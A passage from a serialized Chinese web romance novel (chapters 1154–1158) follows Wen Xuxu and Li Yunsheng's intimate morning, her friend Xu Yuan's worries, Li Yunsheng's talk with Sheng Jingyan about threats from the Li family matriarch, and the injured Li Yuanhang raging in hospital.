温栩栩却像是被戳中了心事,反倒扬起下巴,眼底泛起一丝得意,仿佛骄傲的孔雀:“我才不会有黑眼圈,你胡说!”她说着,指尖还轻轻点了点自己眼下肌肤,那动作带着几分孩子气的娇嗔,仿佛在证明自己所言非虚。 晨光透过窗帘的缝隙洒在她脸上,为她镀上一层朦胧的金边,映得她肌肤如玉,泛着淡淡的粉白。 黎云笙轻笑一声,喉间溢出的笑声带着几分宠溺的无奈。 他伸出手,指尖轻轻捏了捏她的耳朵,温栩栩被他摸得有些痒,耳尖瞬间泛起一抹红晕,如熟透的樱桃般诱人。 她微微偏头躲闪,却听见男人低沉的嗓音在耳畔响起:“有没有可能,是我在担心你想让你好好休息。”那声音带着温热的气息,仿佛要将她包裹在温柔的茧中,字字句句都浸透着难以忽视的关切。 温栩栩的心尖微微一颤,她抬头看向他,目光里带着一丝惊愕与动容。黎云笙的眉宇间早已褪去了平日里的冷峻,取而代之的是化不开的温柔,他伸手将她散落的发丝别到耳后,指尖若有似无地划过她的颈侧:“昨天晚上你遭遇了那些事,本就不该再耗费精力拍戏。”他的声音低沉而沙哑,带着未褪的情欲尾音,却让温栩栩听出了更深层的意味,是对她的担忧在意。 黎云笙的眸色深了几分,眼底掠过一抹心疼。 他将她揽入怀中,掌心抚过她发顶,声音愈发轻柔:“所以昨晚就已经沟通好让剧组先拍其他人的戏份,你的戏会挪后拍摄。秦导那边也是清楚的,不必这么着急。”他说着,指尖轻轻抚过她的眼睫,仿佛在触碰他心尖最柔软的角落。 温栩栩愣住了,指尖不自觉地抚上黎云笙的手背,心跳微微加快。 她从未想过,黎云笙早已为她安排好一切,甚至连她未曾察觉的疲惫都考虑周全。 她转头看向黎云笙,目光里带着一丝复杂的情绪,像是惊讶,又像是羞恼,还夹杂着几分难以言喻的依赖。 “你……早就安排好了?”温栩栩的声音带着一丝颤抖,仿佛不敢相信自己的耳朵。 她向来独立惯了,习惯了独自面对一切,可此刻黎云笙的体贴却让她心头泛酸,仿佛有暖流在胸腔里悄然蔓延。 黎云笙点了点头,指尖抚过她泛红的耳垂,嗓音愈发温柔:“嗯,昨晚处理完事情后,便联系了剧组,你应该好好休息。”他说着,掌心轻轻托起她的脸,拇指指腹摩挲着她细腻的肌肤,动作温柔缱绻。 温栩栩的眼眶微微发热,她抿了抿唇,想起昨夜被噩梦惊醒时的无助,以及黎云笙及时出现的温暖怀抱。 她伸手环住他的脖颈,将脸埋进他颈窝,声音带着一丝沙哑的依赖:“黎云笙……”她不知该说什么,只是贪恋地汲取着他身上的温度,仿佛要将昨夜所有的恐惧与疲惫都驱散。 黎云笙的喉间溢出一声低笑,那笑声带着满足与纵容,他收紧手臂,将她更紧地拥入怀中,仿佛要将她融入骨血:“好好休息,嗯?等你睡醒,我带你吃你最爱的那家蟹粉小笼。” 温栩栩望着他,晨光从窗外斜斜洒入,为他轮廓镀上一层柔和的金边。 她突然像是想到什么一样开口,声音轻得仿佛会被气流吹散:“我好像说我昨天晚上暂时反悔想让你陪一陪我……现在已经是白天了。”话语尾音带着一丝不易察觉的颤抖,像是被晨光灼烫的蝴蝶,翅膀扇动间泄露了心底的慌乱。 白天了,梦醒了,他们该分开了。 这个念头如冰冷的丝线缠绕上她的思绪。 温栩栩想让自己变得理智,然后真的跟黎云笙分开。可目光只是落到黎云笙身上,更多的话就已经说不出了。他深邃的眼眸如幽潭,此刻却盛满了独属于她的温柔,仿佛能将所有清醒的理智都溺毙其中。 男人却在此刻已经握住她的手,掌心温度透过指尖渗入肌肤,稍稍用力,将她往怀里带了带。 温栩栩的呼吸一滞,身体本能地贴近了他胸膛,隔着薄薄的衣料,清晰感受到他沉稳的心跳,如擂鼓般叩击着她的神经。 第1154章 你会下蛊吗 “不是昨晚说的,是今天说的,几个小时前才说的。”黎云笙的声音低沉而沙哑,带着某种蛊惑的韵律,“所以我还可以陪你很久很久。”他说这话的时候已经贴近了她的脸颊,温热的呼吸拂过她敏感的耳畔,激起一阵酥麻的战栗。 下一秒,轻柔的吻落在她眉心,带着明显的安抚意味儿,仿佛要将她所有不安都熨平。 温栩栩的睫毛剧烈颤动,指尖不自觉地揪住他胸前的衣襟,布料在指下微微褶皱。 她试图说服自己该推开他,该清醒过来,可黎云笙的吻却如春风化雨,顺着她的眉心缓缓下移,掠过眼睑、鼻尖,最终落在唇瓣上。这一次不再是浅尝辄止,他的唇舌霸道而温柔地碾过她的,舌尖撬开齿关的侵略感,让她恍惚间生出一种自己可能会被黎云笙亲吻的时候完全吞之入腹的错觉。 仿佛自己在此刻完全变成了他的猎物,被禁锢在他怀中,无路可逃。 可那慌乱中竟又夹杂着一丝甘甜,她贪恋这窒息般的亲密,贪恋他掌心抚过发丝时的温柔,贪恋他胸膛传来的、如擂鼓般的心跳声。 黎云笙的吻愈发缠绵,从唇瓣辗转至下颌,沿着优美的颈线一路向下,轻柔如羽毛拂过,却又带着不容抗拒的占有欲。 温栩栩的脖颈泛起淡淡的红晕,仿佛被晨光灼烫,又像是情动的印记。 她想要克制一些,冷静一些,然后推开黎云笙,但此刻就是想要任性一点,想要跟他贴的更近。 好喜欢好喜欢……为什么会这么喜欢黎云笙呢? 这个念头如漩涡般将她吞没,理智的堤坝在情潮的冲击下摇摇欲坠。 她依偎在他怀里,声音很轻很轻,仿佛呢喃:“黎云笙,你会下蛊吗……” 不然为什么她会这么离不开你呢? 尾音带着几分委屈的颤音,像是被蛊惑的猎物向猎人发出的质问,却又裹挟着浓得化不开的依赖。 黎云笙的动作一顿,喉间溢出一声低沉的笑,那笑声带着满足与纵容,仿佛将她此刻的迷茫与眷恋都收归己有。 他重新吻住她,这次的动作更加炽烈,唇齿交缠间,他含糊回应:“如果我真的会下蛊,那你就不会说暂时反悔了。” 话语间,他的指尖抚过她耳后敏感的肌肤,引得温栩栩浑身战栗。 她想要反驳,想要挣脱,可黎云笙的吻却愈发深入,从颈边辗转至锁骨,流连于每一寸细腻的肌肤,仿佛要将她每一寸都烙上专属的印记。 温栩栩的呼吸逐渐急促,胸腔起伏间,空气裹挟着他身上清冽的气息涌入鼻腔,仿佛带着某种蛊惑。 她渐渐放弃了挣扎,双臂不自觉地环住他的脖颈,回应着他的吻,如同溺水之人抓住唯一的浮木。 窗外的晨光愈发明亮,阳光穿透窗帘的缝隙,在两人身上投下斑驳的光影。 黎云笙的吻愈发温柔,从锁骨缓缓上移,再次回到唇瓣,这一次的动作轻柔得如同对待稀世珍宝。 他将她拥得更紧,仿佛要将她融入骨血。 此刻的暧昧与缠绵,早已超越了言语的界限。 黎云笙只是看着她,眼底的欲望如暗潮涌动,便再度吻上来。他的唇瓣带着灼人的温度,压住她微启的唇,舌尖撬开齿关,攻城略地。他是真的很喜欢亲吻她,又好像是就是想跟她亲密接触,仿佛要将她每一寸呼吸都染上自己的气息。 温栩栩也有种破罐子破摔的感觉,反正今天都要反悔跟黎云笙亲热了,那亲一次也是亲,亲两次也是亲了,好像也没区别了。 她闭上眼,睫毛轻颤,贪恋地回应着他的吻,仿佛要将昨夜所有的恐惧与疲惫都融化在这炽热的纠缠里。 突然,门被敲响了。 温栩栩自然是懒洋洋的不想动,被黎云笙吻得七荤八素,浑身酥软,只想沉溺在这温柔而霸道的怀抱中。 黎云笙由着她,只当是客房服务,或是剧组的工作人员来送东西,便起身去开门。 他随意地整理了一下被温栩栩扯开的衬衫,扣子却依旧松垮地敞着,锁骨处若隐若现的吻痕与齿印,格外刺目。 开门的一瞬间,许愿本来脸上挂着的笑意都在此刻凝固了。 她和盛景炎还有薛酒在厨房捣鼓了很久才包好了饺子,现在才煮好,热气腾腾地装在保温盒里。 她是记得温栩栩这个时间要起床化妆拍戏,所以特地来约温栩栩一起吃早饭,顺便聊聊昨晚的事。 可谁能想到!在这里竟然看到了黎云笙! 黎云笙为什么会出现在这里?黎云笙对温栩栩做了什么?温栩栩还好吗? 许愿的目光如利刃般落在黎云笙的身上,轻易就看到他衬衫扣子被扯开了,锁骨处带着些许痕迹,甚至还有些是被咬出来的,泛着淡淡的红痕。 被谁咬的?总不能是黎云笙自己咬的。 许愿的心跳猛地加快,喉咙发紧,手指不自觉地攥紧了保温盒的提手。晚上到底发生了什么她不知道的事?温栩栩是不是被黎云笙欺负了? 黎云笙见到是许愿,眉峰微挑,眼底掠过一丝意外,但很快恢复平静。 他侧身让开一条缝,声音低沉而礼貌:“许小姐,早。”许愿却仿佛没听见他的话,目光越过他,直直地看向房间内。 温栩栩正慵懒地倚在床头,发丝凌乱地散落在枕上,脸颊泛着不自然的潮红,唇瓣微微红肿,泛着水润的光泽。 她像是被惊扰的猫儿,此刻正眯着眼看向门口,眼底还带着未褪的情潮。 许愿的心猛地揪紧,指尖掐进掌心,指甲的刺痛让她勉强维持住表面的镇定。 她深吸一口气,努力扯出一个笑容,声音却带着一丝不易察觉的颤抖:“栩栩,起来吃早饭了,我们包了饺子。” 话语间,她不着痕迹地往前一步,试图用身体挡住黎云笙的视线,仿佛要护雏的母鸡,将温栩栩藏在羽翼之下。 黎云笙的嘴角勾起一抹玩味的笑,自然看出了许愿的戒备。 他倚在门框上,修长的手指有一下没一下地摩挲着锁骨处的吻痕,动作慵懒而暧昧。 那动作仿佛在向许愿宣示主权,又像是故意挑起她的担忧。许愿的瞳孔猛地收缩,指甲几乎要掐出血痕。 第1155章 喜欢就抓住,不喜欢就放手 她想起昨晚温栩栩被黎远航纠缠时的脆弱模样,想起她蜷缩在沙发角落瑟瑟发抖的样子,而此刻黎云笙却堂而皇之地出现在她的房间,还衣衫不整、满身痕迹……她的胸口涌起一股无名火,几乎要冲口而出质问黎云笙,但理智却让她硬生生咽下了话头。 她转头看向黎云笙,目光如刀:“黎先生,温栩栩今天还要拍戏,您这样……会不会影响她工作?”话语间,她特意加重了“这样”二字,意有所指。 黎云笙轻笑一声,喉间溢出的笑声带着几分慵懒的邪气:“许小姐多虑了,昨晚温栩栩受了惊吓,我作为朋友自然要照顾她。” 他说着,目光却越过许愿,看向房间内正试图起身的温栩栩,眼底的温柔几乎要溢出来,“况且,剧组已经沟通好,她的戏份会挪后拍摄,今天可以好好休息。” 许愿的呼吸一滞,她还不知道剧组调整了拍摄安排,此刻听黎云笙亲口说出,却觉得格外刺耳。 她咬住下唇,目光在黎云笙和温栩栩之间来回扫视,试图从温栩栩的表情中看出端倪。 温栩栩此刻已经起身,随意地披了件外衣,正缓步朝门口走来。 她的动作带着一丝慵懒,仿佛还带着被吻后的余韵,却让许愿的心愈发揪紧。 温栩栩走近后,自然察觉到了许愿的异样,她伸手挽住许愿的手臂,声音带着一丝撒娇的意味:“许愿姐姐,你包了饺子?好香啊。” 许愿的注意力被转移,鼻尖萦绕着饺子的香气,却仍忍不住偷偷打量温栩栩的状态。 她的脖颈处也隐隐泛着红痕,像是被情潮灼烫的印记。 许愿的心如坠冰窟,却又不敢在黎云笙面前表露分毫。她勉强挤出一个笑容,将保温盒递过去:“快尝尝,还热着呢。” 温栩栩接过保温盒,指尖触到许愿冰凉的手,微微一怔。 她抬头看向许愿,目光里带着一丝疑惑与安抚。许愿却避开她的视线,转头对黎云笙道:“黎先生,我还有事,温栩栩就先跟我走了。”话语间,她拉着温栩栩的手欲往门外走,力道大得让温栩栩微微蹙眉。 黎云笙的眉峰微挑,却并未阻拦,只是倚在门框上,目光如炬地看着她们。 温栩栩转头看向他,眼底带着一丝不舍与无奈。黎云笙的喉间溢出一声轻笑,朝她勾了勾手指,温栩栩的耳尖瞬间泛起红晕。她踮起脚尖,在黎云笙唇边迅速落下一吻,如蜻蜓点水般,却又带着缱绻的意味。 许愿的瞳孔猛地收缩,指甲几乎要掐进掌心。她拉着温栩栩快步离开,仿佛身后有猛兽追赶。 走廊里,许愿的脚步急促,温栩栩被她拉得踉跄。 她终于忍不住开口:“许愿姐姐,你怎么了?” 许愿停下脚步,转头看向她,目光里满是担忧与心疼:“你……你昨晚是不是被黎云笙欺负了?”她的话语带着一丝颤抖,仿佛怕听到自己不想听的答案。 温栩栩微微一怔,随即反应过来许愿的误会,她轻笑一声,伸手抱住许愿,声音带着一丝撒娇的无奈:“你想哪儿去了?黎云笙他……他只是担心我,昨晚是我自己愿意的。” 许愿的呼吸一滞,她抬头看向温栩栩,目光里满是震惊。 温栩栩的眼底泛着温柔的光,仿佛浸满了黎云笙的倒影。 许愿的心如五味杂陈,她既为温栩栩的自主选择感到欣慰,却又担心她被黎云笙迷惑。 两人已经到了许愿的房间内,许愿给她打开餐盒才打算开口。 她咬住下唇,声音带着一丝固执:“栩栩,黎云笙他……他不是一个简单的人,你要小心。”温栩栩的指尖抚过锁骨处的吻痕,微微垂眸。 “我也没吃亏啊,昨晚其实也没做到最后一步,就是亲了亲,他咬我一口我就要咬他一口,礼尚往来嘛。”温栩栩倚在餐桌旁,漫不经心地拨弄着瓷碗里的饺子,热气氤氲中,她眉梢微挑,嘴角噙着一抹似笑非笑的弧度,仿佛在说一件再寻常不过的事。 许愿的唇角却忍不住抽了抽,目光扫过她脖颈间若隐若现的红痕,喉间的话哽了哽,终究化作一声叹息:“礼尚往来……可不是这么用的吧!”话语里带着几分无奈,几分嗔怪,更多的却是化不开的担忧。 温栩栩却浑然不觉般,舀起一个饺子塞进嘴里,热气熏得她睫毛轻颤,眼底却亮晶晶的,像是藏着星辰:“许愿姐,你放心,我自己清楚我在做什么。我知道我跟黎云笙之间没可能,我们也没以后,我也没想我们能走多远。” 她咽下饺子,语气陡然轻快起来,甚至带了几分玩笑的意味,“我就是单纯的想吃他豆腐,他长那么好看我也不吃亏呀!”说罢,她还俏皮地眨了眨眼,仿佛在说一件再理所当然不过的事。 许愿的眉头却皱得更深了,指尖无意识地摩挲着保温盒的边缘,指节微微泛白。 她看着温栩栩这副毫不在意的模样,心里却像被什么揪住了。 这分明是故作洒脱的伪装,是怕她担心的逞强。 许愿的思绪不由自主飘回昨夜。她记得温栩栩蜷缩在沙发角落时那副脆弱模样,记得她颤抖着说“别碰我”时的恐惧。 可如今,她竟这般轻描淡写地将与黎云笙的暧昧归为“吃豆腐”。 许愿张了张嘴,想劝她别玩火,想提醒她娱乐圈的复杂,想告诉她黎云笙的身份绝非表面那么简单……可看着温栩栩眼底那抹倔强,那些话却像被堵在喉咙里的棉花,怎么也吐不出来。她只能勉强扯出一个笑容,声音里带着自己都察觉不到的涩意:“你自己清楚自己在做什么……就好。” 温栩栩却像是没听出她语气里的苦涩,反而凑近了些,亲昵地挽住她的手臂,脸颊蹭了蹭她的肩头:“许愿姐,我知道你是担心我。但你也知道,我这人向来随性,喜欢就抓住,不喜欢就放手,绝不拖泥带水。” 第1156章 你做的?能吃? 她顿了顿,指尖在许愿手背上轻轻画圈,声音低了几分,“而且,黎云笙他……对我真的很好。昨晚他守了我一夜,今早还帮我跟剧组沟通调整了拍摄时间。”她说着,指尖不自觉地抚上锁骨处的吻痕,眼底泛起一丝自己都未察觉的温柔,“就算没有以后,至少此刻,我是开心的。” 许愿的心猛地一颤。她看着温栩栩指尖的动作,看着她眼底那抹藏不住的情动,忽然明白,温栩栩并非真的洒脱。 她只是在用“吃豆腐”的玩笑,掩盖自己对黎云笙的真实心动,用“没以后”的豁达,麻痹自己对这段关系可能无疾而终的恐惧。 许愿的喉咙发紧,她伸手覆住温栩栩的手,掌心温度透过肌肤传递:“栩栩,我不是反对你追求快乐,我只是怕你受伤……” 话未说完,温栩栩却已截断她,声音带着几分决绝:“许愿姐,如果真会受伤,那也是我选的。人生苦短,总得为自己活一次,不是吗?” 许愿提醒道:“嗯,你说得对,是要为自己活一次才对,但我还是希望你要更在意自己一些,不要在未来真的受到伤害。” 温栩栩的手指无意识地搅动着咖啡,褐色液体在杯中泛起涟漪,一如她此刻起伏不定的心绪。 许愿坐在对面,心中泛起一阵酸涩,她太清楚这个看似倔强的少女,骨子里藏着怎样易碎的敏感。 “我知道自己在做什么,也知道会有什么后果。”温栩栩突然开口,声音带着一丝不易察觉的颤抖,像是极力压抑着某种汹涌的情绪。 她顿了顿,指尖不自觉地攥紧了杯沿,指节泛白,“但我就是……控制不了。” 许愿凝视着杯中自己的倒影,轻轻叹了口气。 她怎会不懂呢?这个年纪的少女,就像一枚裹着尖刺的青桃,看似锋芒毕露,内里却满是柔软的汁液,稍一触碰便会溅出滚烫的汁水。 冲动、任性、不计后果,这些标签贴在温栩栩身上,却让她更像一株在狂风暴雨中倔强摇曳的小树,明知风雨会折损枝叶,仍然固执的要去面对风雨闯一闯试一试。 她觉得自己跟黎云笙自己并没有吃亏,可到底是不是吃亏这事儿谁能说得准呢? 一个是圈内有人脉有资源的二代继承人,一个是无父无母没有任何地位的孤女,真的出了事会是谁吃亏呢?还用猜吗? “算了,既然是你喜欢的,你选择的,说不定会有好结局的。”许愿也不能再说其他的,她本来也不能真的替温栩栩做什么决定不是吗? 许愿当然明白温栩栩现下是有些冲动的,自己此刻说什么温栩栩都是听不下去的,而且这本就是温栩栩的人生,她只能说给些建议,但不能替温栩栩做决定。 她只能说是在温栩栩真的可能受到伤害的时候帮她避免一些伤害。 毕竟感情方面的事,她自己都是扛不住的。 …… 清晨的阳光斜斜地透过窗棂,在温栩栩的房间洒下细碎的光斑。 盛景炎倚在门框边,双臂环胸,眉梢微挑,目光在房间内逡巡。 黎云笙正坐在床边整理衬衫,领口歪斜,锁骨处几道暧昧的红痕若隐若现,发丝略显凌乱,嘴角却挂着若有似无的笑意,俨然一副“春色盎然”的模样。 盛景炎忍不住嗤笑出声:“哟,这是演了出活春宫?昨晚耍流氓了?” 黎云笙闻言抬头,狭长的桃花眼微微眯起,眉峰挑起,满脸鄙夷:“你当我是你?见着个姑娘就往上扑?” 他边说边慢条斯理地扣上纽扣,动作间透着一股漫不经心的慵懒,仿佛方才的“战损”模样不过是场精心设计的戏码。 盛景炎嗤笑一声,目光扫过他脖颈间斑驳的印记,语气带着几分戏谑:“你没耍流氓?要不要照照镜子看看你身上多少草莓印?温栩栩呢?没被你欺负得哭鼻子?”他倚着门框的姿势愈发懒散,指尖有一搭没一搭地敲着门框,眼底却藏着促狭的笑意,俨然一副看热闹不嫌事大的架势。 黎云笙瞬间坐直了身子,眉宇间染上几分认真,语气却透着傲娇:“我们是两情相悦,你懂什么?”说罢,还故意将领口又扯开几分,露出更多暧昧的痕迹,仿佛要将“恩爱”证据展示得更加彻底。 盛景炎嘴角抽了抽,一时语塞,内心腹诽,这两家伙分明是互相较劲的交易关系,还“两情相悦”?谁信啊! 但面上却懒得拆穿,只摆了摆手,转移话题:“算了,不提这个。我包了饺子,要不要尝尝?”他转身往厨房方向走去,步伐轻快,仿佛方才的调侃不过是场开胃小菜。 黎云笙瞬间满脸嫌弃:“你做的?能吃?” 黎云笙对盛景炎的嫌弃还是很明显的,那没办法,他们关系这么好,谁还不了解谁?他们哪个是会下厨做饭的?他们下厨做饭?那真的不是想整蛊谁吗? 厨房里蒸腾的热气氤氲着玻璃窗,盛景炎站在灶台前,用勺子搅动着锅里翻滚的饺子,蒸汽扑在脸上,让他额前的碎发微微湿润。 他侧头瞥了眼坐在餐桌旁的黎云笙,对方正慢条斯理地吃着饺子,衬衫领口依旧敞着两粒扣子,锁骨处暧昧的红痕在暖光下若隐若现,一副浑然不觉的模样。 盛景炎嘴角勾起一抹戏谑的笑,心里却暗自盘算着待会儿要问的正事。 “我说,你还真给面子啊,不怕我下毒?”盛景炎故意调侃,顺手将一碗蘸料放在黎云笙面前。 蘸料是他特意调制的,醋里加了蒜末、辣椒油,还撒了葱花,香气扑鼻。 饺子这种东西,只要馅料调好了其实都没有多大的问题,食材是最新鲜的,馅料是许愿调制的,味道还是很不错的,就是其中有几个饺子形状有些古怪,但黎云笙也不会真的扫兴去吐槽饺子形状了。 黎云笙夹起一个饺子蘸了蘸,咬了一口,眉梢微挑:“嗯,味道还行,就是这饺子形状……你是跟面团有仇?” 第1157章 你也有求人的时候? 说这话的时候黎云笙指了指盘中一个歪歪扭扭、破皮露馅的饺子,语气带着惯常的毒舌,眼底却藏着几分促狭的笑意。 盛景炎不以为意,自己夹了个饺子塞进嘴里,边嚼边嘟囔:“我这可是亲手包的,没煮破皮就已经是奇迹了。”他擦了下嘴角的油渍,动作间透着几分随意。 盛景炎将话题引向正题,他放下筷子,身体微微前倾,目光直视黎云笙,语气陡然正经起来,“你和温栩栩之间,你到底怎么想的?” 厨房里的气氛瞬间凝滞了一瞬,黎云笙夹饺子的手顿了顿,随即仰头灌了一口茶水,喉结滚动,将茶杯重重放回桌面,发出“咚”的一声响。 他嘴角扯出一抹自嘲的笑:“怎么?你这是要当情感顾问了?”话虽如此,他眼底却掠过一丝复杂的神色,手指无意识地摩挲着茶杯边缘。 调侃归调侃,玩笑归玩笑,但正事还是要说的。 坦白来说这几个人也就只有韩城对什么都不是很清楚,但就算是韩城那也清楚哪怕黎云笙真的跟温栩栩在一起,以后大概率也是不会娶温栩栩的。 这就是为什么韩城一直不想黎云笙骚扰温栩栩的原因。 因为在韩城看来他们两个人之间是不会有好结果的。 韩城知道的事情,盛景炎怎么可能不知道? 他不仅知道,更知道黎云笙身份复杂,看似是黎家的继承人,其实黎家很多人都不服他,黎家的老太太也一直不想放权打算独揽大权。 温栩栩这个时候出现,很容易成为靶子被针对。 所以盛景炎想问黎云笙到底是怎么想的。 是真的决定好了要跟温栩栩在一起对抗黎家?还是真的只打算玩一玩?这一点还是很重要的。 盛景炎没接他的调侃,而是直截了当道:“别跟我打马虎眼。你什么德行我还不知道?韩城那傻子可能还被你蒙在鼓里,但我可清楚得很,黎家那老太太虎视眈眈盯着你的位子,黎家多少人不服你?这时候带个姑娘回来,不是给树靶子是什么?”他越说越严肃,指尖敲着桌面,发出清脆的“嗒嗒”声,仿佛在敲打黎云笙的心防。 黎云笙的瞳孔骤然一缩,眉峰拧起,脸上取而代之的是一片冷峻。 盛景炎深吸一口气:“你是真想护着她,还是就图个新鲜?”他目光灼灼地盯着黎云笙,仿佛要将他看穿,“韩城虽然迟钝,但这事儿他比咱们都明白,你们俩就算真在一起,最后能走到结婚那一步吗?黎家那老太太能容下一个没背景的儿媳妇?” 厨房里陷入一片死寂,只有锅里剩余饺子的咕嘟声隐隐传来。 黎云笙的喉结动了动,垂眸盯着碗中的饺子,良久都未开口。 盛景炎斟酌着措辞,缓缓道:“我不是怀疑你的真心,只是这事儿太险。温栩栩要是陷进去,最后伤的是她。你就算真喜欢她,也得为她想想后路。” 黎云笙猛地抬头,眼中闪过一丝锐利:“后路?你觉得我能给她什么后路?送她离开海城?让她从此消失在我的生活里?” 他冷笑一声,语气却透着几分苦涩,“她不会走的,她倔得很,而且,她现在已经算是入局了,就算真的走了,黎家人也能把她找出来。” 盛景炎沉默片刻,忽然问道:“所以,你是打算赌一把?赌自己能赢过黎家那群老狐狸,给她一个安稳的未来?” 黎云笙没有立即回答,而是起身走到窗边,望着窗外庭院里那棵老槐树,树影斑驳,在他脸上投下明明暗暗的光影。 他沉默良久,才哑声道:“赌?或许吧。但就算输,我也不会让她成为牺牲品。”他转身,目光重新落在盛景炎身上,眼底已恢复了一贯的冷静与坚定,“盛景炎,我需要你的帮助。” 盛景炎挑眉:“怎么?你也有求人的时候?”话虽调侃,他却已坐直了身子,神情专注起来。 “求人?不,是合作。我需要你在黎家内部帮我盯着老太太的动向,我怕她对温栩栩不利。”他语气森冷,眼底闪过一丝狠厉,与方才的颓然截然不同。 盛景炎眯起眼,脑海中迅速闪过最近听到的风声。他沉吟片刻,点头道:“行,这事儿我应了。但温栩栩那边,你得自己搞定。她要是对你没信心,咱们做再多都没用。” 黎云笙深吸一口气,指尖攥紧了窗框,指节泛白:“我会让她信我。”他声音低沉,却带着不容置疑的笃定,仿佛下定了某种决心。窗外阳光斜斜地照进来,在他身上镀上一层金边,却遮不住他眼底的暗潮汹涌。 两人对视片刻,盛景炎忽然轻笑出声,打破凝重的气氛:“得,正事儿谈完了,赶紧把饺子吃完。凉了可就真难吃了。”他转身端起盘子,将剩余的几个饺子拨进碗里,动作间又恢复了往日的随意。 …… 黎远航被医护人员从手术室推出来的时候,消毒水的气味还黏在鼻腔里挥散不去。 他的右手被层层纱布裹成臃肿的茧,五根手指头歪歪扭扭地拼接在掌心,缝合的针线如蜈蚣爬过断裂的山峦,皮肉翻卷处泛着青紫的淤血。 麻醉剂的药效尚未完全褪去,他此刻尚能维持一丝清醒,可每寸神经都在预警着即将到来的风暴。 监护仪规律的“滴答”声在病房回荡,仿佛倒计时般敲击着他的神经。 护士刚将他转移到病床上,麻醉剂的最后一丝屏障突然崩塌。 剧痛如千万根烧红的钢针从指尖炸裂开来,沿着神经脉络一路向上啃噬,钻入骨髓。 黎远航猛地从床上弹起,却因为伤口的牵扯又重重摔回,床板发出闷重的“吱呀”声。 冷汗瞬间浸透了他的病号服,后背的布料紧贴皮肤,黏腻得令人窒息。 他蜷缩成虾米状,喉咙里挤出破碎的呜咽:“啊——!疼……疼死了!我的手……我的手要废了!” 第1158章 他是魔鬼 疼痛在血管里横冲直撞,如烈火灼烧,如冰锥穿刺,时而如电流窜过,黎远航疯狂地用左手捶打床沿,金属护栏被他砸得咚咚作响,仿佛要将这具被疼痛蚕食的躯壳彻底摧毁。 “滚开!别碰我!”当护士试图为他检查伤口时,黎远航突然暴起,双目赤红地嘶吼着,手臂在空中挥舞,将输液架撞得歪斜,药液袋晃荡着滴落。 他翻滚到床的另一侧,指甲深深抠进掌心,试图用这种痛感压制手指传来的疼痛感觉。 床单被他撕扯得皱成一团,如同他此刻扭曲的精神状态。 疼痛的浪潮一波未平一波又起,他蜷在地上打滚,额头青筋暴起,头发凌乱地黏在汗湿的脸上,整个人宛如被无形枷锁困住的困兽。 “黎云笙……黎云笙这个疯子!他是魔鬼!”突然,黎远航停止翻滚,用尽全身力气嘶吼出声,声音嘶哑得像是被砂纸打磨过。 他挣扎着撑起上半身,脖颈的血管凸起如蚯蚓,手指颤抖着指向虚空,仿佛要将黎云笙的幻影从空气中撕碎。“他故意掰断我的手!他就是要毁了我!我要杀了他……杀了他!” 他嘶吼着,唾沫星子飞溅,眼眶里充血的泪水和恨意交织,整个人陷入癫狂的状态。 病房的玻璃窗仿佛都被他的声音震得微微发颤,监护仪的警报声骤然尖锐,仿佛在附和着这失控的怒火。 病房门突然被推开,黎老太太在保姆的搀扶下快步走了进来。她看着满地狼藉和蜷缩在地、疼痛到几乎疯狂的黎远航,眉峰紧蹙,保养得宜的脸上浮起一抹愠色。 保姆想要上前搀扶黎远航,却被她抬手制止。 她缓步走近,目光扫过黎远航缠满纱布的手,眼底掠过一丝心疼,但很快被威严取代。 “远航,起来。”她的声音不高,却带着不容置疑的力度。 黎远航却像是没听见,仍沉浸在自己的恨意中,继续咒骂着黎云笙。 黎老太太的眉头皱得更深,她弯腰扶住黎远航的肩膀,用力将他搀起。黎远航本来想把人甩开,可看到是老太太才强忍住了此刻手上传来的剧烈疼痛,没有伤到老太太。 黎远航踉跄着靠坐在床边,大口喘着粗气,眼泪混着汗水滑落,狼狈不堪。 黎老太太坐在床边,伸手抚了抚黎远航汗湿的额头,声音放缓:“我知道你疼,知道你委屈。但你现在这副模样,像什么话?” 她顿了顿,目光如炬,“云笙这次确实过分,但你也该明白,我们黎家容不得内斗。你的手会治好,这笔账,家族自然会跟你讨回来。”她的话语像是承诺,又像是警告,语气里带着一丝不容置疑的冷硬。 黎远航却突然激动起来,他猛地抓住黎老太太的手,指甲几乎掐进她的皮肤:“奶奶,您不能这么轻描淡写!黎云笙他这是要我的命啊!他根本就是个疯子,他连自己的亲兄弟都下得去手,您要是再纵容他,迟早有一天……”他的声音带着哽咽,眼泪再次夺眶而出,像个受伤的孩子般颤抖着。 黎老太太的眉梢微挑,抽出被黎远航攥住的手,语气沉了几分:“纵容?你以为我愿意看到你们兄弟相残?但黎家现在需要稳定,云笙他……有他的用处。” 她的话语里带着一丝疲惫与无奈,目光望向窗外,仿佛在权衡着什么。 黎远航的瞳孔猛地收缩,他像是听懂了什么,嘴角勾起一抹苦笑,声音带着自嘲:“用处?所以我的手,我的命,都只是家族利益的牺牲品?”他的声音越来越低,最后化作一声绝望的呢喃。 黎老太太的眉头再次拧紧,她伸手拍了拍黎远航的手背,声音柔和了几分:“远航,你是我黎家的子孙,我不会让你白白受苦。等你的手好了,我会给你安排更重要的项目,让你……”话未说完,黎远航却突然爆发出一阵狂笑,笑声里满是悲愤:“更重要的项目?哈哈哈……老太太,您真以为我稀罕那些虚名虚利?我现在只想要黎云笙付出代价!我要他跪在我面前,亲口承认他是个魔鬼!” 他的笑声震得病房的空气都在颤动,监护仪的警报声再次响起,急促地闪烁着红光。 黎老太太的眼中闪过一丝厉色,她猛地站起身,声音冷如冰霜:“够了!你现在需要的是养伤,不是在这里发疯!黎家的脸面,容不得你如此失态!”她的话语像一记重锤,砸得黎远航瞬间噤声。 他怔怔地看着黎老太太,眼中的恨意与绝望交织,嘴唇颤抖着,却再发不出一点声音。 黎老太太转身欲走,却又停下脚步,转头扔下一句:“好好养着,该给你的,黎家不会少。”话音落下,她快步离去,背影透着一股不容置疑的决绝。 黎远航瘫坐在床上,望着黎老太太离去的方向,眼中的泪水无声滑落。 剧痛仍在肆虐,但此刻,心口的痛楚却比手指更甚。 他攥紧拳头,指甲深深掐进掌心,恨意如毒蛇般在胸腔里扭曲啃噬。 黎老太太从医院出来时,暮色已沉沉压下来。 她扶着车门的手微微发抖,司机早已候在车旁,却不敢贸然上前搀扶,只远远看见她站在台阶上,背影佝偻得仿佛被夜色压弯了脊梁。 她抬头望向医院顶楼那扇亮着灯的病房窗口,瞳孔深处翻涌着浓稠的慌乱与寒意,这慌乱并非源于黎远航的惨状,而是那惨状背后,黎云笙如刀锋般凛冽的警告。 他这样对黎远航,哪里只是厌恶那么简单? 老太太的指甲深深掐进掌心,在真皮座椅上留下几道月牙形的印痕。 